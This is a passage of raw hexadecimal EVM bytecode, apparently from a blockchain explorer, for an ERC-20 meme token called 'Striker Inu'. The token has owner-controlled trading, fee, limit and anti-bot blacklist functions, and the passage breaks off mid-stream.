54d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006495781600019048211156200062d576200062d620005f2565b808516156200063b57918102915b93841c93908002906200060d565b509250929050565b6000826200066257506001620005ec565b816200067157506000620005ec565b81600181146200068a57600281146200069557620006b5565b6001915050620005ec565b60ff841115620006a957620006a9620005f2565b50506001821b620005ec565b5060208310610133831016604e8410600b8410161715620006da575081810a620005ec565b620006e6838362000608565b8060001904821115620006fd57620006fd620005f2565b029392505050565b60006200071660ff84168362000651565b9392505050565b8082028115828204841417620005ec57620005ec620005f2565b6000826200075557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200076d57600080fd5b81516001600160a01b0381168114620005e957600080fd5b80820180821115620005ec57620005ec620005f2565b612dbf80620007ab6000396000f3fe6080604052600436106103e85760003560e01c806386a22eff11610208578063bf56b37111610118578063f0ef821f116100ab578063f887ea401161007a578063f887ea4014610bd2578063fb32b5c214610bf2578063fbdec15314610c12578063fe575a8714610c32578063ffb54a9914610c6257600080fd5b8063f0ef821f14610b58578063f1d5f51714610b72578063f2fde38b14610b92578063f84ba65d14610bb257600080fd5b8063dccd8bd2116100e7578063dccd8bd214610aac578063dd51faa214610ac2578063dd62ed3e14610ae2578063e5e31b1314610b2857600080fd5b8063bf56b37114610a48578063c9567bf914610a5e578063ca987b0e14610a73578063da00097d14610a8957600080fd5b80638f16c41c1161019b578063996f79c01161016a578063996f79c0146109b2578063a5355989146109c8578063a8aa1b31146109e8578063a9059cbb14610a08578063aba1193d14610a2857600080fd5b80638f16c41c1461091c5780639153eb6c1461094c57806395d89b411461096c57806398118cb41461099c57600080fd5b80638b42507f116101d75780638b42507f1461088e5780638c33c9e4146108be5780638da5cb5b146108de5780638e2eee84146108fc57600080fd5b806386a22eff146107fd57806386f6c3c11461081d578063893d20e81461083d578063896648c11461086f57600080fd5b8063571ac8b0116103035780636ca7c216116102965780637cc5d7eb116102655780637cc5d7eb1461077c5780637d1db4a51461079c5780637df4d744146107b25780637fa442ff146107c7578063807c2d9c146107e757600080fd5b80636ca7c216146106fc578063705409331461071257806370a0823114610731578063715018a61461076757600080fd5b80635f189361116102d25780635f1893611461069b578063658d4b7f146106b05780636827e764146106d05780636b67c4df146106e657600080fd5b8063571ac8b01461061b5780635c85974f1461063b5780635def85e41461065b5780635e562f3b1461067b57600080fd5b806323b872dd1161037b57806333f3d6281161034a57806333f3d628146105885780633f4218e0146105a857806344de2e4c146105d85780634a74bb02146105f957600080fd5b806323b872dd1461051757806329977491146105375780632b112e4914610557578063313ce5671461056c57600080fd5b806318160ddd116103b757806318160ddd146104ac57806318abb635146104c15780631da1db5e146104e15780631df4ccfc1461050157600080fd5b80630445b667146103f457806306fdde031461041d578063095ea7b31461045a5780630d2959801461048a57600080fd5b366103ef57005b600080fd5b34801561040057600080fd5b5061040a601e5481565b6040519081526020015b60405180910390f35b34801561042957600080fd5b5060408051808201909152600b81526a537472696b657220496e7560a81b60208201525b6040516104149190612860565b34801561046657600080fd5b5061047a6104753660046128c6565b610c7c565b6040519015158152602001610414565b34801561049657600080fd5b506104aa6104a5366004612900565b610ce9565b005b3480156104b857600080fd5b5060025461040a565b3480156104cd57600080fd5b506104aa6104dc36600461291d565b610d87565b3480156104ed57600080fd5b506104aa6104fc36600461298e565b610e1d565b34801561050d57600080fd5b5061040a600f5481565b34801561052357600080fd5b5061047a6105323660046129a7565b610e8f565b34801561054357600080fd5b506104aa610552366004612900565b610f51565b34801561056357600080fd5b5061040a610f95565b34801561057857600080fd5b5060405160128152602001610414565b34801561059457600080fd5b5061047a6105a33660046128c6565b611006565b3480156105b457600080fd5b5061047a6105c33660046129e8565b60086020526000908152604090205460ff1681565b3480156105e457600080fd5b5060055461047a90600160a01b900460ff1681565b34801561060557600080fd5b50601a5461047a90640100000000900460ff1681565b34801561062757600080fd5b5061047a6106363660046129e8565b6110fa565b34801561064757600080fd5b506104aa61065636600461298e565b611108565b34801561066757600080fd5b506104aa610676366004612a05565b611174565b34801561068757600080fd5b506104aa610696366004612900565b6111c6565b3480156106a757600080fd5b506104aa61123c565b3480156106bc57600080fd5b506104aa6106cb366004612a3e565b61127f565b3480156106dc57600080fd5b5061040a600c5481565b3480156106f257600080fd5b5061040a600b5481565b34801561070857600080fd5b5061040a601d5481565b34801561071e57600080fd5b5060115461047a90610100900460ff1681565b34801561073d57600080fd5b5061040a61074c3660046129e8565b6001600160a01b031660009081526006602052604090205490565b34801561077357600080fd5b506104aa6112d4565b34801561078857600080fd5b506104aa610797366004612a3e565b611348565b3480156107a857600080fd5b5061040a60035481565b3480156107be57600080fd5b506104aa61139d565b3480156107d357600080fd5b506104aa6107e2366004612900565b6113d4565b3480156107f357600080fd5b5061040a60045481565b34801561080957600080fd5b506104aa610818366004612a3e565b61141a565b34801561082957600080fd5b506104aa610838366004612a6c565b61146f565b34801561084957600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610414565b34801561087b57600080fd5b50601a5461047a90610100900460ff1681565b34801561089a57600080fd5b5061047a6108a93660046129e8565b60096020526000908152604090205460ff1681565b3480156108ca57600080fd5b506104aa6108d9366004612900565b611501565b3480156108ea57600080fd5b506000546001600160a01b0316610857565b34801561090857600080fd5b506104aa610917366004612aaf565b61154c565b34801561092857600080fd5b5061047a6109373660046129e8565b601c6020526000908152604090205460ff1681565b34801561095857600080fd5b506104aa6109673660046129e8565b61161d565b34801561097857600080fd5b5060408051808201909152600781526629aa2924a5a2a960c91b602082015261044d565b3480156109a857600080fd5b5061040a600a5481565b3480156109be57600080fd5b5061040a600e5481565b3480156109d457600080fd5b5060115461047a9062010000900460ff1681565b3480156109f457600080fd5b50601754610857906001600160a01b031681565b348015610a1457600080fd5b5061047a610a233660046128c6565b6116ae565b348015610a3457600080fd5b506104aa610a43366004612b35565b6116bb565b348015610a5457600080fd5b5061040a60195481565b348015610a6a57600080fd5b506104aa611709565b348015610a7f57600080fd5b5061040a60105481565b348015610a9557600080fd5b50601a5461047a9065010000000000900460ff1681565b348015610ab857600080fd5b5061040a600d5481565b348015610ace57600080fd5b506104aa610add36600461298e565b611742565b348015610aee57600080fd5b5061040a610afd366004612b53565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610b3457600080fd5b5061047a610b433660046129e8565b60186020526000908152604090205460ff1681565b348015610b6457600080fd5b5060115461047a9060ff1681565b348015610b7e57600080fd5b506104aa610b8d36600461298e565b6117b2565b348015610b9e57600080fd5b506104aa610bad3660046129e8565b61181e565b348015610bbe57600080fd5b506104aa610bcd366004612a3e565b611908565b348015610bde57600080fd5b50601654610857906001600160a01b031681565b348015610bfe57600080fd5b50601a5461047a9062010000900460ff1681565b348015610c1e57600080fd5b506104aa610c2d366004612900565b61195d565b348015610c3e57600080fd5b5061047a610c4d3660046129e8565b601b6020526000908152604090205460ff1681565b348015610c6e57600080fd5b50601a5461047a9060ff1681565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610cd79086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610d1c5760405162461bcd60e51b8152600401610d1390612b71565b60405180910390fd5b601a5462010000900460ff16610d745760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f206c6f6e6765722070617573652074726164696e6700000000006044820152606401610d13565b601a805460ff1916911515919091179055565b6000546001600160a01b03163314610db15760405162461bcd60e51b8152600401610d1390612b71565b601180546301000000600160b81b03191663010000006001600160a01b0394851602179055601280546001600160a01b03199081169684169690961790556013805486169383169390931790925560148054851693821693909317909255601580549093169116179055565b6000546001600160a01b03163314610e475760405162461bcd60e51b8152600401610d1390612b71565b47336108fc6064610e588585612bbc565b610e629190612bd3565b6040518115909202916000818181858888f19350505050158015610e8a573d6000803e3d6000fd5b505050565b6001600160a01b038316600090815260076020908152604080832033845290915281205460001914610f3c576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600782528381203382529091529190912054610f179184906119f9565b6001600160a01b03851660009081526007602090815260408083203384529091529020555b610f47848484611a33565b90505b9392505050565b6000546001600160a01b03163314610f7b5760405162461bcd60e51b8152600401610d1390612b71565b601180549115156101000261ff0019909216919091179055565b60066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f85461dead60009081527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e22546002549192611001929091610ffb9190611ee2565b90611ee2565b905090565b600080546001600160a01b031633146110315760405162461bcd60e51b8152600401610d1390612b71565b306001600160a01b038416036110895760405162461bcd60e51b815260206004820152601c60248201527f43616e742072656d6f766520746865206e617469766520746f6b656e000000006044820152606401610d13565b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af11580156110d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4a9190612bf5565b6000610ce382600019610c7c565b6000546001600160a01b031633146111325760405162461bcd60e51b8152600401610d1390612b71565b60058110156111535760405162461bcd60e51b8152600401610d1390612c12565b6103e8816002546111649190612bbc565b61116e9190612bd3565b60035550565b6000546001600160a01b0316331461119e5760405162461bcd60e51b8152600401610d1390612b71565b6001600160a01b03166000908152601c60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146111f05760405162461bcd60e51b8152600401610d1390612b71565b601a5462010000900460ff166112225760405162461bcd60e51b81526020600482015260006024820152604401610d13565b601a80549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146112665760405162461bcd60e51b8152600401610d1390612b71565b601a805462ff00001916905566038d7e692bb600601d55565b6000546001600160a01b031633146112a95760405162461bcd60e51b8152600401610d1390612b71565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112fe5760405162461bcd60e51b8152600401610d1390612b71565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146113725760405162461bcd60e51b8152600401610d1390612b71565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146113c75760405162461bcd60e51b8152600401610d1390612b71565b601a805461ff0019169055565b6000546001600160a01b031633146113fe5760405162461bcd60e51b8152600401610d1390612b71565b60118054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146114445760405162461bcd60e51b8152600401610d1390612b71565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146114995760405162461bcd60e51b8152600401610d1390612b71565b600a869055600b859055600c849055600d839055600e8290556114ca826114c4858188818c8c61199a565b9061199a565b600f8190556114da908290612c58565b6010819055600f546019916114ef9190612c58565b106114f957600080fd5b505050505050565b6000546001600160a01b0316331461152b5760405162461bcd60e51b8152600401610d1390612b71565b601a8054911515600160301b0266ff00000000000019909216919091179055565b6000546001600160a01b031633146115765760405162461bcd60e51b8152600401610d1390612b71565b601a5462010000900460ff166115a85760405162461bcd60e51b81526020600482015260006024820152604401610d13565b60005b828110156116175781601b60008686858181106115ca576115ca612c6b565b90506020020160208101906115df91906129e8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561161081612c81565b90506115ab565b50505050565b6000546001600160a01b031633146116475760405162461bcd60e51b8152600401610d1390612b71565b6001600160a01b03166000908152600160208181526040808420805460ff199081168517909155600883528185208054821685179055600983528185208054821685179055601c835281852080548216909417909355601b90915290912080549091169055565b6000610f4a338484611a33565b6000546001600160a01b031633146116e55760405162461bcd60e51b8152600401610d1390612b71565b601a80549215156401000000000264ff000000001990931692909217909155601e55565b6000546001600160a01b031633146117335760405162461bcd60e51b8152600401610d1390612b71565b601a805460ff19166001179055565b6000546001600160a01b0316331461176c5760405162461bcd60e51b8152600401610d1390612b71565b601a5462010000900460ff1661179e5760405162461bcd60e51b81526020600482015260006024820152604401610d13565b6117ac81633b9aca00612bbc565b601d5550565b6000546001600160a01b031633146117dc5760405162461bcd60e51b8152600401610d1390612b71565b60058110156117fd5760405162461bcd60e51b8152600401610d1390612c12565b6103e88160025461180e9190612bbc565b6118189190612bd3565b60045550565b6000546001600160a01b031633146118485760405162461bcd60e51b8152600401610d1390612b71565b6001600160a01b0381166118ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d13565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146119325760405162461bcd60e51b8152600401610d1390612b71565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146119875760405162461bcd60e51b8152600401610d1390612b71565b6011805460ff1916911515919091179055565b6000806119a78385612c58565b905083811015610f4a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610d13565b60008184841115611a1d5760405162461bcd60e51b8152600401610d139190612860565b506000611a2a8486612c9a565b95945050505050565b601a546000906301000000900460ff1615611a5a57611a53848484611f24565b9050610f4a565b6001600160a01b03841660009081526001602052604090205460ff16158015611a9c57506001600160a01b03831660009081526001602052604090205460ff16155b15611acd57601a5460ff16611acd5760405162461bcd60e51b81526020600482015260006024820152604401610d13565b60035482111580611af657506001600160a01b03841660009081526009602052604090205460ff165b611b2d5760405162461bcd60e51b8152602060048201526008602482015267151608131a5b5a5d60c21b6044820152606401610d13565b6001600160a01b03831660009081526018602052604090205460ff168015611b5f5750601a546301000000900460ff16155b8015611b755750601a54640100000000900460ff165b8015611b925750601e543060009081526006602052604090205410155b15611b9f57611b9f611ff8565b601954158015611bc757506001600160a01b03831660009081526018602052604090205460ff165b15611c14576001600160a01b038416600090815260066020526040902054611c0b5760405162461bcd60e51b81526020600482015260006024820152604401610d13565b611c1443601955565b601a54600160301b900460ff1615611c3057611c308484612453565b601a54610100900460ff1615611c97576001600160a01b0384166000908152601b602052604090205460ff1615611c975760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610d13565b6017546001600160a01b038481169116148015611ccd57506001600160a01b03841660009081526001602052604090205460ff16155b15611cfe57601d543a1115611cfe5760405162461bcd60e51b81526020600482015260006024820152604401610d13565b601d543a10158015611d1e57506017546001600160a01b03848116911614155b15611d47576001600160a01b0383166000908152601b60205260409020805460ff191660011790555b604080516020808201835260008083526001600160a01b038816815260069091529190912054611d789184906119f9565b6001600160a01b0380861660009081526006602090815260408083209490945591861681526009909152205460ff16158015611dbd5750600554600160a01b900460ff165b15611e10576004546001600160a01b038416600090815260066020526040902054611de8908461199a565b1115611e105760405162461bcd60e51b81526020600482015260006024820152604401610d13565b6001600160a01b03841660009081526008602052604081205460ff16158015611e5257506001600160a01b03841660009081526008602052604090205460ff16155b611e5c5782611e67565b611e67858585612540565b6001600160a01b038516600090815260066020526040902054909150611e8d908261199a565b6001600160a01b038086166000818152600660205260409081902093909355915190871690600080516020612d6a83398151915290611ecf9085815260200190565b60405180910390a3506001949350505050565b6000610f4a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119f9565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611f759184906119f9565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611fa4908361199a565b6001600160a01b038085166000818152600660205260409081902093909355915190861690600080516020612d6a83398151915290611fe69086815260200190565b60405180910390a35060019392505050565b601a805463ff0000001916630100000017905530600090815260066020526040812054600e54600f5491929161204d91600291612047916120399190611ee2565b600a54612047908790612773565b906127f5565b9050600061205b8383611ee2565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061209557612095612c6b565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156120ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121129190612cad565b8160018151811061212557612125612c6b565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac9479061216b908590600090869030904290600401612cca565b600060405180830381600087803b15801561218557600080fd5b505af1158015612199573d6000803e3d6000fd5b5050600a54479250600091506121c3906121b49060026127f5565b600e54600f54610ffb91611ee2565b905060006121e5600261204784612047600a548861277390919063ffffffff16565b9050600061220283612047600b548761277390919063ffffffff16565b9050600061221f84612047600d548861277390919063ffffffff16565b9050600061223c85612047600c548961277390919063ffffffff16565b6012546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d8060008114612293576040519150601f19603f3d011682016040523d82523d6000602084013e612298565b606091505b5050601454604051600093506001600160a01b03909116915061753090859084818181858888f193505050503d80600081146122f0576040519150601f19603f3d011682016040523d82523d6000602084013e6122f5565b606091505b5050601354604051600093506001600160a01b03909116915061753090849084818181858888f193505050503d806000811461234d576040519150601f19603f3d011682016040523d82523d6000602084013e612352565b606091505b5060009250508a1590506124395760165460115460405163f305d71960e01b8152306004820152602481018d905260006044820181905260648201526001600160a01b036301000000909204821660848201524260a482015291169063f305d71990879060c40160606040518083038185885af11580156123d7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123fc9190612d3b565b505060408051878152602081018d90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b5050601a805463ff00000019169055505050505050505050565b803b1515801561247c57506001600160a01b0381166000908152601c602052604090205460ff16155b80156124a157506001600160a01b03811660009081526008602052604090205460ff16155b80156124b65750601a54600160301b900460ff165b8061251357506017546001600160a01b0383811691161480156124f257506001600160a01b0382166000908152601c602052604090205460ff16155b80156124fe5750333214155b80156125135750601a54600160301b900460ff165b1561253c576001600160a01b0381166000908152601b60205260409020805460ff191660011790555b5050565b6001600160a01b0382166000908152601860205260408120548190819060ff1680156125735750601154610100900460ff165b1561258a57600e5460105461258791611ee2565b91505b6001600160a01b03861660009081526018602052604090205460ff1680156125b4575060115460ff165b156125cb57600e54600f546125c891611ee2565b91505b6001600160a01b03861660009081526018602052604090205460ff1615801561260d57506001600160a01b03851660009081526018602052604090205460ff16155b1561263e5760115462010000900460ff161561263957600e5460105461263291611ee2565b915061263e565b600091505b60008211801561265057506000600e54115b156126e55761266f6064612047600e548761277390919063ffffffff16565b6015546001600160a01b0316600090815260066020526040902054909150612697908261199a565b601580546001600160a01b0390811660009081526006602090815260409182902094909455915491518481529181169290891691600080516020612d6a833981519152910160405180910390a35b60006126f660646120478786612773565b30600090815260066020526040902054909150612713908261199a565b30600081815260066020526040908190209290925590516001600160a01b03891690600080516020612d6a833981519152906127529085815260200190565b60405180910390a361276882610ffb8784611ee2565b979650505050505050565b60008260000361278557506000610ce3565b60006127918385612bbc565b90508261279e8583612bd3565b14610f4a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610d13565b6000610f4a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836128535760405162461bcd60e51b8152600401610d139190612860565b506000611a2a8486612bd3565b600060208083528351808285015260005b8181101561288d57858101830151858201604001528201612871565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146128c357600080fd5b50565b600080604083850312156128d957600080fd5b82356128e4816128ae565b946020939093013593505050565b80151581146128c357600080fd5b60006020828403121561291257600080fd5b8135610f4a816128f2565b600080600080600060a0868803121561293557600080fd5b8535612940816128ae565b94506020860135612950816128ae565b93506040860135612960816128ae565b92506060860135612970816128ae565b91506080860135612980816128ae565b809150509295509295909350565b6000602082840312156129a057600080fd5b5035919050565b6000806000606084860312156129bc57600080fd5b83356129c7816128ae565b925060208401356129d7816128ae565b929592945050506040919091013590565b6000602082840312156129fa57600080fd5b8135610f4a816128ae565b60008060408385031215612a1857600080fd5b8235612a23816128f2565b91506020830135612a33816128ae565b809150509250929050565b60008060408385031215612a5157600080fd5b8235612a5c816128ae565b91506020830135612a33816128f2565b60008060008060008060c08789031215612a8557600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060408486031215612ac457600080fd5b833567ffffffffffffffff80821115612adc57600080fd5b818601915086601f830112612af057600080fd5b813581811115612aff57600080fd5b8760208260051b8501011115612b1457600080fd5b60209283019550935050840135612b2a816128f2565b809150509250925092565b60008060408385031215612b4857600080fd5b82356128e4816128f2565b60008060408385031215612b6657600080fd5b8235612a23816128ae565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610ce357610ce3612ba6565b600082612bf057634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612c0757600080fd5b8151610f4a816128f2565b60208082526026908201527f57616c6c6574204c696d6974206e6565647320746f206265206174206c6561736040820152657420302e352560d01b606082015260800190565b80820180821115610ce357610ce3612ba6565b634e487b7160e01b600052603260045260246000fd5b600060018201612c9357612c93612ba6565b5060010190565b81810381811115610ce357610ce3612ba6565b600060208284031215612cbf57600080fd5b8151610f4a816128ae565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612d1a5784516001600160a01b031683529383019391830191600101612cf5565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612d5057600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203ed0f16f7c85d875f4f0f1cbd6cd05f35cbd4f84cf837755a25d2a8133454b5c64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106103e85760003560e01c806386a22eff11610208578063bf56b37111610118578063f0ef821f116100ab578063f887ea401161007a578063f887ea4014610bd2578063fb32b5c214610bf2578063fbdec15314610c12578063fe575a8714610c32578063ffb54a9914610c6257600080fd5b8063f0ef821f14610b58578063f1d5f51714610b72578063f2fde38b14610b92578063f84ba65d14610bb257600080fd5b8063dccd8bd2116100e7578063dccd8bd214610aac578063dd51faa214610ac2578063dd62ed3e14610ae2578063e5e31b1314610b2857600080fd5b8063bf56b37114610a48578063c9567bf914610a5e578063ca987b0e14610a73578063da00097d14610a8957600080fd5b80638f16c41c1161019b578063996f79c01161016a578063996f79c0146109b2578063a5355989146109c8578063a8aa1b31146109e8578063a9059cbb14610a08578063aba1193d14610a2857600080fd5b80638f16c41c1461091c5780639153eb6c1461094c57806395d89b411461096c57806398118cb41461099c57600080fd5b80638b42507f116101d75780638b42507f1461088e5780638c33c9e4146108be5780638da5cb5b146108de5780638e2eee84146108fc57600080fd5b806386a22eff146107fd57806386f6c3c11461081d578063893d20e81461083d578063896648c11461086f57600080fd5b8063571ac8b0116103035780636ca7c216116102965780637cc5d7eb116102655780637cc5d7eb1461077c5780637d1db4a51461079c5780637df4d744146107b25780637fa442ff146107c7578063807c2d9c146107e757600080fd5b80636ca7c216146106fc578063705409331461071257806370a0823114610731578063715018a61461076757600080fd5b80635f189361116102d25780635f1893611461069b578063658d4b7f146106b05780636827e764146106d05780636b67c4df146106e657600080fd5b8063571ac8b01461061b5780635c85974f1461063b5780635def85e41461065b5780635e562f3b1461067b57600080fd5b806323b872dd1161037b57806333f3d6281161034a57806333f3d628146105885780633f4218e0146105a857806344de2e4c146105d85780634a74bb02146105f957600080fd5b806323b872dd1461051757806329977491146105375780632b112e4914610557578063313ce5671461056c57600080fd5b806318160ddd116103b757806318160ddd146104ac57806318abb635146104c15780631da1db5e146104e15780631df4ccfc1461050157600080fd5b80630445b667146103f457806306fdde031461041d578063095ea7b31461045a5780630d2959801461048a57600080fd5b366103ef57005b600080fd5b34801561040057600080fd5b5061040a601e5481565b6040519081526020015b60405180910390f35b34801561042957600080fd5b5060408051808201909152600b81526a537472696b657220496e7560a81b60208201525b6040516104149190612860565b34801561046657600080fd5b5061047a6104753660046128c6565b610c7c565b6040519015158152602001610414565b34801561049657600080fd5b506104aa6104a5366004612900565b610ce9565b005b3480156104b857600080fd5b5060025461040a565b3480156104cd57600080fd5b506104aa6104dc36600461291d565b610d87565b3480156104ed57600080fd5b506104aa6104fc36600461298e565b610e1d565b34801561050d57600080fd5b5061040a600f5481565b34801561052357600080fd5b5061047a6105323660046129a7565b610e8f565b34801561054357600080fd5b506104aa610552366004612900565b610f51565b34801561056357600080fd5b5061040a610f95565b34801561057857600080fd5b5060405160128152602001610414565b34801561059457600080fd5b5061047a6105a33660046128c6565b611006565b3480156105b457600080fd5b5061047a6105c33660046129e8565b60086020526000908152604090205460ff1681565b3480156105e457600080fd5b5060055461047a90600160a01b900460ff1681565b34801561060557600080fd5b50601a5461047a90640100000000900460ff1681565b34801561062757600080fd5b5061047a6106363660046129e8565b6110fa565b34801561064757600080fd5b506104aa61065636600461298e565b611108565b34801561066757600080fd5b506104aa610676366004612a05565b611174565b34801561068757600080fd5b506104aa610696366004612900565b6111c6565b3480156106a757600080fd5b506104aa61123c565b3480156106bc57600080fd5b506104aa6106cb366004612a3e565b61127f565b3480156106dc57600080fd5b5061040a600c5481565b3480156106f257600080fd5b5061040a600b5481565b34801561070857600080fd5b5061040a601d5481565b34801561071e57600080fd5b5060115461047a90610100900460ff1681565b34801561073d57600080fd5b5061040a61074c3660046129e8565b6001600160a01b031660009081526006602052604090205490565b34801561077357600080fd5b506104aa6112d4565b34801561078857600080fd5b506104aa610797366004612a3e565b611348565b3480156107a857600080fd5b5061040a60035481565b3480156107be57600080fd5b506104aa61139d565b3480156107d357600080fd5b506104aa6107e2366004612900565b6113d4565b3480156107f357600080fd5b5061040a60045481565b34801561080957600080fd5b506104aa610818366004612a3e565b61141a565b34801561082957600080fd5b506104aa610838366004612a6c565b61146f565b34801561084957600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610414565b34801561087b57600080fd5b50601a5461047a90610100900460ff1681565b34801561089a57600080fd5b5061047a6108a93660046129e8565b60096020526000908152604090205460ff1681565b3480156108ca57600080fd5b506104aa6108d9366004612900565b611501565b3480156108ea57600080fd5b506000546001600160a01b0316610857565b34801561090857600080fd5b506104aa610917366004612aaf565b61154c565b34801561092857600080fd5b5061047a6109373660046129e8565b601c6020526000908152604090205460ff1681565b34801561095857600080fd5b506104aa6109673660046129e8565b61161d565b34801561097857600080fd5b5060408051808201909152600781526629aa2924a5a2a960c91b602082015261044d565b3480156109a857600080fd5b5061040a600a5481565b3480156109be57600080fd5b5061040a600e5481565b3480156109d457600080fd5b5060115461047a9062010000900460ff1681565b3480156109f457600080fd5b50601754610857906001600160a01b031681565b348015610a1457600080fd5b5061047a610a233660046128c6565b6116ae565b348015610a3457600080fd5b506104aa610a43366004612b35565b6116bb565b348015610a5457600080fd5b5061040a60195481565b348015610a6a57600080fd5b506104aa611709565b348015610a7f57600080fd5b5061040a60105481565b348015610a9557600080fd5b50601a5461047a9065010000000000900460ff1681565b348015610ab857600080fd5b5061040a600d5481565b348015610ace57600080fd5b506104aa610add36600461298e565b611742565b348015610aee57600080fd5b5061040a610afd366004612b53565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610b3457600080fd5b5061047a610b433660046129e8565b60186020526000908152604090205460ff1681565b348015610b6457600080fd5b5060115461047a9060ff1681565b348015610b7e57600080fd5b506104aa610b8d36600461298e565b6117b2565b348015610b9e57600080fd5b506104aa610bad3660046129e8565b61181e565b348015610bbe57600080fd5b506104aa610bcd366004612a3e565b611908565b348015610bde57600080fd5b50601654610857906001600160a01b031681565b348015610bfe57600080fd5b50601a5461047a9062010000900460ff1681565b348015610c1e57600080fd5b506104aa610c2d366004612900565b61195d565b348015610c3e57600080fd5b5061047a610c4d3660046129e8565b601b6020526000908152604090205460ff1681565b348015610c6e57600080fd5b50601a5461047a9060ff1681565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610cd79086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610d1c5760405162461bcd60e51b8152600401610d1390612b71565b60405180910390fd5b601a5462010000900460ff16610d745760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f206c6f6e6765722070617573652074726164696e6700000000006044820152606401610d13565b601a805460ff1916911515919091179055565b6000546001600160a01b03163314610db15760405162461bcd60e51b8152600401610d1390612b71565b601180546301000000600160b81b03191663010000006001600160a01b0394851602179055601280546001600160a01b03199081169684169690961790556013805486169383169390931790925560148054851693821693909317909255601580549093169116179055565b6000546001600160a01b03163314610e475760405162461bcd60e51b8152600401610d1390612b71565b47336108fc6064610e588585612bbc565b610e629190612bd3565b6040518115909202916000818181858888f19350505050158015610e8a573d6000803e3d6000fd5b505050565b6001600160a01b038316600090815260076020908152604080832033845290915281205460001914610f3c576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600782528381203382529091529190912054610f179184906119f9565b6001600160a01b03851660009081526007602090815260408083203384529091529020555b610f47848484611a33565b90505b9392505050565b6000546001600160a01b03163314610f7b5760405162461bcd60e51b8152600401610d1390612b71565b601180549115156101000261ff0019909216919091179055565b60066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f85461dead60009081527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e22546002549192611001929091610ffb9190611ee2565b90611ee2565b905090565b600080546001600160a01b031633146110315760405162461bcd60e51b8152600401610d1390612b71565b306001600160a01b038416036110895760405162461bcd60e51b815260206004820152601c60248201527f43616e742072656d6f766520746865206e617469766520746f6b656e000000006044820152606401610d13565b60405163a9059cbb60e01b815233600